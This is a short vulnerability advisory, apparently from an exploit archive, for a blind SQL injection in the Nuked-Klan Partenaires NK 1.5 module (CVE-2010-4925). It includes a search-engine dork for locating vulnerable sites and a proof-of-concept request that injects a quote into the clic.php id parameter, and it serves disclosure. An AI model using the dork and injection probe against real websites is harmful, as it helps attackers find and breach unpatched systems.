Bug: Nuked-Klan Partenaires NK 1.5 Blind SQL Injection (WLB-2011100157 Ascii Version)

English Version
WLB2

CVE WLB2

 Topic: Nuked-Klan Partenaires NK 1.5 Blind SQL Injection
 Dork: inurl:/modules/Partenaires/clic.php?id=
 Credit: Metropolis
 Date: 2011.10.13
 CWE: CWE-89 (Show similar)
 CVE: CVE-2010-4925 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References

Risk
Local
Remote
High
No
Yes

####################################################################
.:. Author : Metropolis
.:. Home : www.metropolis.fr.cr
.:. Script : Nuked-Klan Module Partenaires NK 1.5
.:. Version : 1.5
.:. Download Script: http://www.nuked-klan.org/index.php?file=Download&op=description&dl_id=317
.:. Bug Type : Blind Sql Injection
.:. Dork : inurl:/modules/Partenaires/clic.php?id=

####################################################################

===[ Blind Sql Injection ]===

SQL Error =>

/modules/Partenaires/clic.php?id=8'


www.site.com/modules/Partenaires/clic.php?id=8 [Blind]


####################################################################


References:

http://xforce.iss.net/xforce/xfdb/60933
http://www.exploit-db.com/exploits/14556
http://secunia.com/advisories/40887
http://packetstormsecurity.org/1008-exploits/nukedklanpartenaires-sql.txt
http://osvdb.org/66927

[ ASCII VERSION ]

Copyright 2012, cxsecurity.com